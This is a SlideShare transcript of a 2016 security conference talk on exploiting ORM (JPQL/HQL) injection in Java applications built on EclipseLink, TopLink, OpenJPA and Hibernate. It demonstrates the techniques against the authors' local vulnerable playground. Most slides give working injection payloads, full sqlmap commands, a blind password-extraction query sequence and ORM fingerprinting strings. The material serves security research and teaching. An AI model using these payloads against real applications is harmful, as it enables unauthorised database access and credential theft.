SlideShare a Scribd company logo
1 of 82
Download to read offline
New Methods for Exploiting
ORM Injections in Java
Applications
Mikhail Egorov
Sergey Soldatov
HITBSecConf2016 - Amsterdam
MIKHAIL EGOROV
◊ Security researcher
◊ Bug hunter
◊ Application security engineer at Odin [ Ingram Micro ]
◊ @0ang3el
◊ 0ang3el.blogspot.com
SERGEY SOLDATOV
◊ Security practitioner and enthusiast
◊ Head of SOC at Kaspersky lab
◊ @svsoldatov
◊ reply-to-all.blogspot.com (mostly in Russian  )
AGENDA
◊ INTRO
◊ ORM Injections basics
◊ Exploitation techniques
∆ EclipseLink [ 1 method ]
∆ TopLink [ 1 method ]
∆ OpenJPA [ 2 methods ]
∆ Hibernate [ 5 methods ]
◊ OUTRO
INTRO
Why ORM?
RDBMS
[ Tables ]
JavaApp
[ Objects ]
Why ORM?
◊ Some advantages over plain JDBC
∆ Work with objects rather than DB tables
∆ Simplifies development process
∆ No need to deal with the database implementation
∆ Hides details of SQL queries from application logic
What is JPA?
◊ Java Persistence API – API for working with ORM
∆ JPA 1.0 [ May 2006 ]
∆ JPA 2.0 [ December 2009 ]
∆ JPA 2.1 [ April 2013 ]
◊ Most ORM libraries support JPA 2.0
Diversity of ORM libraries
◊ Hibernate ORM [ WildFly and Jboss ]
◊ EclipseLink [ Glassfish ]
◊ TopLink [ Oracle WebLogic ]
◊ OpenJPA [ TomEE and IBM WAS ]
Special query language for JPA
◊ Java Persistence Query Language [ JPQL ] for mapping between
DB tables and Java objects
◊ Hibernate Query Language [ HQL ] is superset for JPQL
Criteria API since JPA 2.0
◊ Another way of expressing ORM queries
◊ Programmatic queries [ interfaces and classes exists to represent
various structural parts of a query ]
◊ Criteria queries are checked at program compile time
ORM Injections basics
ORM injections nature
◊ They are also called JPQL or HQL injections
◊ The nature of ORM injections is similar to SQL injections
ORM injection example
◊ Parameter name is vulnerable to ORM injection
public List<Post> getByName_Insecure(String name) {
Query query = em.createQuery("SELECT p FROM Post p WHERE"
+ "p.name='" + name + "'", Post.class);
return (List<Post>) query.getResultList();
}
SQL injection versus ORM injection
RDBMSAppServer
SQL
DATAJavaApp
SQL injection versus ORM injection
RDBMSAppServer
SQL
DATA
JavaApp
JPQL/HQL
POJO ORM
Frustration from ORM injection exploitation
◊ Weird and limited language [ JPQL or HQL ]
◊ DB tables that are not mapped to entities are not accessible
◊ Favorite tools [ sqlmap ] are not working
ORM injections in the wild
◊ [ not disclosed ]
◊ OpenBravo ERP HQLi [ 2015 ]
◊ Novell Service Desk HQLi [ CVE-2016-1595 ]
http://www.securityfocus.com/archive/1/537268
https://www.novell.com/support/kb/doc.php?id=7017430
ORM injections playground
◊ We wrote vulnerable JavaApp for studying ORM injections
https://github.com/0ang3el/HQLi-playground
HOW ORM actually works
Parse JPQL/HQL
query and build
JPQL/HQL AST
Translate
JPQL/HQL AST
into SQL AST
Build SQL query
from SQL AST
LETS HACK
EclipseLink ORM
EL ORM has FUNCTION (formerly FUNC) to call DB specific functions:
◊ JPQL Statement
… FUNCTION(‘bla-bla-bla’, ’bla2’, ‘bla3’)…
◊ Translated into SQL’s
…bla-bla-bla(’bla2’, ‘bla3’)… without any care
about what specified in ‘bla-bla-bla’
FUNC FUNCTION method
 https://bugs.eclipse.org/bugs/show_bug.cgi?id=300512
◊ JPQL Statement :
… FUNCTION('(select count(1) from table where
1=1)>0 and length','qq')=2 …
◊ Translated into SQL:
… (select count(1) from table where 1=1)>0 and
length(‘qq’)=2 …
FUNC FUNCTION method
* - injection point for sqlmap
FUNC FUNCTION method
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20function(%27(select%201%20where%201%3D1*
)%3D1%20and%20length%27%2C%27qq%27)%3D2%20and%20
%27s%27%20%3D%20%27s"
--dbms="PostgreSQL" --technique B -b
◊ Sqlmap exploitation
#
◊ Exploitation Demo [ https://youtu.be/XIaqKM1iPt0 ]
FUNC FUNCTION method
TopLink ORM
The same story as with FUNCTION in EclipseLink:
https://docs.oracle.com/middleware/1221/toplink/jpa-extensions-reference/jpql.htm#TLJPA626
SQL FUNCTION method
◊ JPQL Statement:
… SQL('(select 1 where 1=1)=1’) …
◊ Translated into SQL:
… (select 1 where 1=1)=1 …
SQL FUNCTION method
◊ True
SQL FUNCTION method
dummy' and SQL('(SELECT 1)=1') and '1'='1
◊ False
SQL FUNCTION method
dummy' and SQL('(SELECT 1)=2') and '1'='1
* - injection point for sqlmap
SQL FUNCTION method
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20SQL(%27(select%201%20where%201%3D1*)%3D1
%27)%20and%20%27s%27%20%3D%20%27s"
--dbms="PostgreSQL" --technique B -b
◊ Sqlmap exploitation
#
Apache OpenJPA ORM
WRONG SINGLE QUOTE PROC. method
◊ OpenJPA process single quote (‘) in a strange way:
◊ Substitute sequence of two ‘’ by one ‘
◊ AFTER its syntax check
◊ This behavior can hide SELECT-statements within string
In … and '1'='1'' and (select 1 where 1=1) = ''1' and …
◊ ORM sees: and '1'='1'' and (select 1 where 1=1) = ''1' and
◊ DBMS gets: and '1'='1' and (select 1 where 1=1) = '1' and
and '1'='1' and (select 1 where 1=2) = '1' and
String with correctly quoted ‘ within it
Bool SQL expression – TRUE
Bool SQL expression – FALSE
WRONG SINGLE QUOTE PROC. method
* - injection point for sqlmap
WRONG SINGLE QUOTE PROC. method
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20%20%271%27%3D%271%27%27%20and%20(select%
201%20where%201%3D1*)%20%3D%20%27%271%27%20and%2
0%271%27%3D%271"
--dbms="PostgreSQL" --technique B -b
◊ Sqlmap exploitation
#
QUOTES INDIFFERENCE method
◊ OpenJPA allows interchangeable use of single quotes and double
quotes:
◊ “bla bla bla’ – correct string definition
◊ This behavior can hide SELECT-statements within string
In … and “a’ = ’a’ and (select 8 where 1=1)=8 and ‘b” = ‘b’ …
◊ ORM sees: and “a’ = ’a’ and (select 8 where 1=1)=8 and ‘b” = ‘b’
◊ DBMS gets: and ‘a’ = ’a’ and (select 8 where 1=1)=8 and ‘b’ = ‘b’
and ‘a’ = ’a’ and (select 8 where 1=2)=8 and ‘b’ = ‘b’
String in “ quotes
Bool SQL expression – TRUE
Bool SQL expression – FALSE
QUOTES INDIFFERENCE method
* - injection point for sqlmap
QUOTES INDIFFERENCE method
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%
20and%20%22a%27%3D%27a%27%20and%20(select%208%20
where%201%3D1*)%3D8%20and%20%27bb%22%3D%27bb"
--dbms="PostgreSQL" --technique B -b
◊ Sqlmap exploitation
#
Hibernate ORM
◊ Method works for MySQL DBMS which escapes SINGLE QUOTES
in strings with SLASH [ ’ ]
◊ In HQL SINGLE QUOTES is escaped in strings by doubling [ ‘’ ]
SINGLE QUOTE ESCAPING method
◊ In HQL [ it is a string ]
◊ In MySQL [ it is a string and additional SQL expression ]
SINGLE QUOTE ESCAPING method
'abc''or 1=(select 1)--'
'abc''or 1=(select 1)--'
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_
where post0_.name='dummy'' or 1<length((select version())) -- '
◊ Inject into vulnerable parameter
◊ HQL
◊ SQL
SINGLE QUOTE ESCAPING method
dummy'' or 1<length((select version())) --
SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy'' or
1<length((select version())) -- '
◊ Sqlmap exploitation
#
SINGLE QUOTE ESCAPING method
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%5C%
27%27%20or%201%3Clength%28%28select%20version%28
%29%20from%20dual%20where%201=1*%29%29%20--%20"
--dbms="MySQL" --technique B -b -v 0
◊ Method works for DBMS which allow DOLLAR-QUOTED strings in
SQL expressions [ $$aaa’bbb$$ ]
∆ PostgreSQL
∆ H2
$-QUOTED STRINGS method
http://www.postgresql.org/docs/9.0/static/sql-syntax-lexical.html
http://www.h2database.com/html/grammar.html#dollar_quoted_string
◊ Hibernate ORM allows identifiers starting with $$
$-QUOTED STRINGS method
ID_START_LETTER
: '_'
| '$'
| 'a'..'z'
| 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers
;
ID_LETTER
: ID_START_LETTER
| '0'..'9'
;
https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g
◊ Inject into vulnerable parameter
◊ HQL
◊ SQL
$-QUOTED STRINGS method
$$='$$=concat(chr(61),chr(39)) and 1=1--'
$$='$$=concat(chr(61),chr(39)) and 1=1--'
$$='$$=concat(chr(61),chr(39)) and 1=1--'
◊ Sqlmap exploitation
#
$-QUOTED STRINGS method
sqlmap -u
"http://localhost:8080/hqli.playground/dum
my%27%20and%20%24%24%3D%27%24%24%3Dconcat(
chr(61)%2Cchr(39))%20and%201%3D1*--"
--dbms="PostgreSQL" --technique B -b
◊ Method works for DBMS which have MAGIC FUNCTIONS which
evaluate SQL expression in string parameter
∆ PostgreSQL
∆ Oracle
◊ Hibernate allows to specify any function name in HQL expression
MAGIC FUNCTIONS method
◊ PostgreSQL has built-in function query_to_xml(‘Arbitrary SQL’)
◊ It is possible to know if the SQL returns 0 rows or >0
MAGIC FUNCTIONS method
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true,
false,'')),1)
◊ Inject into vulnerable parameter
◊ HQL query
◊ SQL query
v
v
MAGIC FUNCTIONS method
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
array_upper(xpath('row',query_to_xml('select 1 where
1337>1',true,false,'')),1)=1 and '1'='1'
select post0_.id as id1_0_, post0_.name as name2_0_ from post
post0_ where post0_.name='dummy' and array_upper(xpath('row',
query_to_xml('select 1 where 1337>1', true, false, '')), 1)=1 and
'1'='1'
dummy' and array_upper(xpath('row',query_to_xml('select 1 where
1337>1',true,false,'')),1)=1 and '1'='1
MAGIC FUNCTIONS method
◊ Sqlmap exploitation
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20and
%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27s
elect%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%2
7%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271"
--dbms="PostgreSQL" --technique B -b -v 0
https://www.youtube.com/watch?v=6WeUxAmYgHQ
#
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
◊ Oracle has built-in function DBMS_XMLGEN.getxml(‘SQL’)
◊ It is possible to know if the SQL returns 0 rows or >0
MAGIC FUNCTIONS method
MAGIC FUNCTIONS method
◊ Sqlmap exploitation
# sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20an
d%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20f
rom%20dual%20where%201337>1*%27)),%271%27)!=
%271%27%20and%20%271%27=%271"
--dbms="Oracle" --technique B -b -v 0
◊ Method works for DBMS which allow UNICODE delimiters
[ Ex. U+00A0 ] between SQL tokens
∆ Microsoft SQL Server
∆ H2
UNICODE method
◊ In Microsoft SQL SERVER
SELECT LEN([U+00A0](select[U+00A0](1))
works the same as
SELECT LEN((SELECT(1)))
UNICODE method
◊ List of UNICODE delimiters for Microsoft SQL Server
UNICODE method
U+00A0 %C2%A0 No-break space
U+3000 %E3%80%80 Ideographic space
... etc ...
◊ HQL allows UNICODE symbols in identifiers [ function or
parameter names ]
UNICODE method
https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g
IDENT options { testLiterals=true; }
: ID_START_LETTER ( ID_LETTER )*
{ setPossibleID(true); }
;
protected
ID_START_LETTER
: '_'
| '$'
| 'a'..'z'
| 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers
;
protected
ID_LETTER
: ID_START_LETTER
| '0'..'9'
;
◊ Inject into vulnerable parameter
◊ HQL query
UNICODE method
dummy' or
1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)) or
'1'='11
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or
1<LEN( (select top 1 name from users)) or '1'='11'
◊ HQL AST [ for part marked yellow ]
◊ HQL query
UNICODE method
-[LT] Node: '<'
+-[NUM_INT] Node: '1'
-[METHOD_CALL] Node: '('
+-[IDENT] Node: 'LEN'
-[EXPR_LIST] Node: 'exprList'
-[METHOD_CALL] Node: '('
+-[IDENT] Node: ' '
-[EXPR_LIST] Node: 'exprList'
-[IDENT] Node: 'select top 1 name from users'
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or
1<LEN( (select top 1 name from users)) or '1'='11'
◊ We wrote script hqli_sql_server_demo.pl for exploitation
UNICODE method
https://github.com/0ang3el/Hibernate-Injection-Study
https://www.youtube.com/watch?v=m_MTWZptXUw
◊ For exploitation with Sqlmap we wrote custom queries.xml and
hibernate.py tamper script
UNICODE method
https://github.com/0ang3el/Hibernate-Injection-Study
◊ Extract 1st value from PASSW column
◊ Extract 2nd column from PASSW column
◊ Extract 8th column from PASSW column
UNICODE method
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 0
PASSW FROM users WHERE 0 not like LEN('xxx'))
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 1
PASSW FROM users WHERE 0 not like LEN('xxx'))
SELECT TOP 1 PASSW FROM users WHERE PASSW NOT IN (SELECT TOP 7
PASSW FROM users WHERE 0 not like LEN('xxx'))
◊ Find injection
◊ Exploit it
UNICODE method
sqlmap -u "http://localhost:8080/hqli.playground/dummy'
and 1=1* and '1'='1" --dbms="Microsoft SQL Server"
--technique B -b --no-cast --no-escape --flush
#
sqlmap -u "http://localhost:8080/hqli.playground/dummy'
and 1=1* and '1'='1" --dbms="Microsoft SQL Server"
--technique B -b --tamper hibernate --no-cast
--no-escape
#
◊ Exploitation Demo [ https://youtu.be/SPlkItQtgKE ]
UNICODE method
◊ Method works for most DBMS [ does not work for MySQL ]
◊ Hibernate resolves Java public static fields [ Java constants ] in
HQL queries
∆ Class with Java constant must be in classpath
∆ Ex. - java.lang.Character.SIZE is resolved to 16
∆ String or char constants are additionally surrounded by single quotes
Χ java.lang.Character.MIN_VALUE is resolved to ''
JAVA CONSTANTS method
◊ To use JAVA CONSTANTS method we need special char or string
fields declared in classes or interfaces on classpath
JAVA CONSTANTS method
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = ''';
public static final char C_QUOTE_2 = '047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
◊ To use JAVA CONSTANTS method we need special char or string
fields declared in classes or interfaces on classpath
public interface MyInterface {
static final String S_QUOTE = "'";
static final String HQL_PART = "select * from Post where name = '";
static final char C_QUOTE_1 = ''';
static final char C_QUOTE_2 = '047';
static final char C_QUOTE_3 = 39;
static final char C_QUOTE_4 = 0x27;
static final char C_QUOTE_5 = 047;
}
JAVA CONSTANTS method
◊ Some usable constants in well-known Java libraries
∆ org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
∆ com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
∆ jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
∆ ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
∆ cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
∆ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
∆ org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE[ EclipseHelp ]
JAVA CONSTANTS method
◊ Inject into vulnerable parameter
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
(select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
◊ HQL query
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
JAVA CONSTANTS method
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
+-[EQ] Node: '='
| +-[DOT] Node: '.'
| | +-[IDENT] Node: 'p'
| | -[IDENT] Node: 'name'
| -[QUOTED_STRING] Node: ''dummy''
-[EQ] Node: '='
+-[STAR] Node: '*'
| +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1'
| -[METHOD_CALL] Node: '('
| +-[IDENT] Node: 'X'
| -[EXPR_LIST] Node: 'exprList'
| -[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
-[NUM_INT] Node: '1'
◊ HQL AST [ for marked part ]
◊ HQL query
JAVA CONSTANTS method
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
+-[EQ] Node: '='
| +-[DOT] Node: '.'
| | +-[IDENT] Node: 'p'
| | -[IDENT] Node: 'name'
| -[QUOTED_STRING] Node: ''dummy''
-[EQ] Node: '='
+-[STAR] Node: '*'
| +-[JAVA_CONSTANT] Node: 'hqli.persistent.Constants.C_QUOTE_1'
| -[METHOD_CALL] Node: '('
| +-[IDENT] Node: 'X'
| -[EXPR_LIST] Node: 'exprList'
| -[QUOTED_STRING] Node: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
-[NUM_INT] Node: '1'
◊ HQL AST
◊ HQL query
JAVA CONSTANTS method
◊ SQL AST
◊ Java constant is not resolved on SQL AST phase, resolution will
happen next, when SQL query is formed from SQL AST
-[EQ] BinaryLogicOperatorNode: '='
+-[STAR] BinaryArithmeticOperatorNode: '*' {dataType=org.hibernate.type.DoubleType@3bd5ea0c}
| +-[JAVA_CONSTANT] JavaConstantNode: 'hqli.persistent.Constants.C_QUOTE_1'
| -[METHOD_CALL] MethodNode: '('
| +-[METHOD_NAME] IdentNode: 'X' {originalText=X}
| -[EXPR_LIST] SqlNode: 'exprList'
| -[QUOTED_STRING] LiteralNode: ''<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --''
-[NUM_INT] LiteralNode: '1'
JAVA CONSTANTS method
◊ HQL query
◊ Corresponding SQL query
◊ Char constant hqli.persistent.Constants.C_QUOTE_1 was
translated to '''
select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where
post0_.name='dummy' and '''*X('<>CHAR(41) and (select count(1) from
sysibm.sysdummy1)>0 --')=1 and '1'='2'
SELECT p FROM hqli.persistent.Post p where p.name='dummy' and
hqli.persistent.Constants.C_QUOTE_1 * X('<>CHAR(41) and (select count(1)
from sysibm.sysdummy1)>0 --')=1 and '1'='1'
JAVA CONSTANTS method
◊ True
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
(select count(1) from sysibm.sysdummy1 where 1=1)>0 --')=1 and
'1'='2
JAVA CONSTANTS method
◊ False
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and
(select count(1) from sysibm.sysdummy1 where 1=2)>0 --')=1 and
'1'='2
JAVA CONSTANTS method
◊ Sqlmap exploitation
sqlmap -u
"http://localhost:8080/hqli.playground/dummy%27%20and%20h
qli.persistent.Constants.C_QUOTE_1%2aX%28%27%3C%3ECHAR%28
41%29%20and%20%28select%20count%281%29%20from%20sysibm.sy
sdummy1%20where%201=1*%29%3E0%20--
%27%29=1%20and%20%271%27=%272"
--dbms="DB2" --technique B -b -v 0
JAVA CONSTANTS method
#
◊ Exploitation Demo [ https://youtu.be/ZYSE-qhCL-8 ]
JAVA CONSTANTS method
OUTRO
HOW TO IDENTIFY ORM
Hibernate WildFly
Jboss
… and 1bi = 1bd and …
EclipseLink Glassfish … and FUNCTION(‘1=1 and’,‘2’)=‘2’ and …
TopLink WebLogic … and SQL(‘1=1’) and …
OpenJPA TomEE
WAS
… and “1”=‘1’ and …
ORM Injection methods summary
Hibernate
EclipseLink
TopLink
OpenJPA
Method
Postgre
SQL
Oracle MS SQL
DB2
sqlite
etc
MySQL Any DBMS Any DBMS
DBMS magic function Χ Χ
$-quoted string Χ
Unicode Χ
Single quote escaping Χ
Java constants Χ Χ Χ Χ
ORM magic function Χ
Wrong single quote proc Χ
Quotes indifference Χ
Thank you for your attention!

More Related Content

What's hot

A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesMikhail Egorov
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testingNapendra Singh
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?Mikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMFrans Rosén
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONMentorcs
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterMasato Kinugawa
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 

What's hot (20)

Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
ASP.NET Web Security
ASP.NET Web SecurityASP.NET Web Security
ASP.NET Web Security
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web application security
Web application securityWeb application security
Web application security
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
ORM Injection
ORM InjectionORM Injection
ORM Injection
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 

Viewers also liked

PHDays '14 Cracking java pseudo random sequences by egorov & soldatov
PHDays '14   Cracking java pseudo random sequences by egorov & soldatovPHDays '14   Cracking java pseudo random sequences by egorov & soldatov
PHDays '14 Cracking java pseudo random sequences by egorov & soldatovSergey Soldatov
 
Некриптографическое исследование носителей православной криптографии
Некриптографическое исследование носителей  православной криптографииНекриптографическое исследование носителей  православной криптографии
Некриптографическое исследование носителей православной криптографииSergey Soldatov
 
Мониторинг своими руками
Мониторинг своими рукамиМониторинг своими руками
Мониторинг своими рукамиSergey Soldatov
 
Threat hunting as SOC process
Threat hunting as SOC processThreat hunting as SOC process
Threat hunting as SOC processSergey Soldatov
 
20% of investment and 80% of profit. How to implement security requirements a...
20% of investment and 80% of profit. How to implement security requirements a...20% of investment and 80% of profit. How to implement security requirements a...
20% of investment and 80% of profit. How to implement security requirements a...Igor Gots
 
Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016Sergey Soldatov
 
Configuring CQ Security
Configuring CQ SecurityConfiguring CQ Security
Configuring CQ Securityconnectwebex
 
Cis critical security controls. контроль 3 безопасная конфигурация устройств
Cis critical security controls. контроль 3   безопасная конфигурация устройствCis critical security controls. контроль 3   безопасная конфигурация устройств
Cis critical security controls. контроль 3 безопасная конфигурация устройствTeymur Kheirkhabarov
 
Purifying React (with annotations)
Purifying React (with annotations)Purifying React (with annotations)
Purifying React (with annotations)Robin Pokorny
 
Opensource vs. Non-opensource
Opensource vs. Non-opensourceOpensource vs. Non-opensource
Opensource vs. Non-opensourceSergey Soldatov
 
Developer Evidences (Infosecurity Russia 2013)
Developer Evidences (Infosecurity Russia 2013)Developer Evidences (Infosecurity Russia 2013)
Developer Evidences (Infosecurity Russia 2013)Alexander Barabanov
 
Smartcard vulnerabilities in modern banking malware
Smartcard vulnerabilities in modern banking malwareSmartcard vulnerabilities in modern banking malware
Smartcard vulnerabilities in modern banking malwareAlex Matrosov
 
How To Write a Letter of Explanation to the IRS. From Success Tax Relief.
How To Write a  Letter  of Explanation to the IRS. From Success Tax Relief.How To Write a  Letter  of Explanation to the IRS. From Success Tax Relief.
How To Write a Letter of Explanation to the IRS. From Success Tax Relief.Success Tax Relief
 
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)PoL Sangalang
 
Volatile Memory: Behavioral Game Theory in Defensive Security
Volatile Memory: Behavioral Game Theory in Defensive SecurityVolatile Memory: Behavioral Game Theory in Defensive Security
Volatile Memory: Behavioral Game Theory in Defensive SecurityKelly Shortridge
 

Viewers also liked (20)

A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
PHDays '14 Cracking java pseudo random sequences by egorov & soldatov
PHDays '14   Cracking java pseudo random sequences by egorov & soldatovPHDays '14   Cracking java pseudo random sequences by egorov & soldatov
PHDays '14 Cracking java pseudo random sequences by egorov & soldatov
 
Некриптографическое исследование носителей православной криптографии
Некриптографическое исследование носителей  православной криптографииНекриптографическое исследование носителей  православной криптографии
Некриптографическое исследование носителей православной криптографии
 
Мониторинг своими руками
Мониторинг своими рукамиМониторинг своими руками
Мониторинг своими руками
 
Threat hunting as SOC process
Threat hunting as SOC processThreat hunting as SOC process
Threat hunting as SOC process
 
20% of investment and 80% of profit. How to implement security requirements a...
20% of investment and 80% of profit. How to implement security requirements a...20% of investment and 80% of profit. How to implement security requirements a...
20% of investment and 80% of profit. How to implement security requirements a...
 
Охота на угрозы на BIS summit 2016
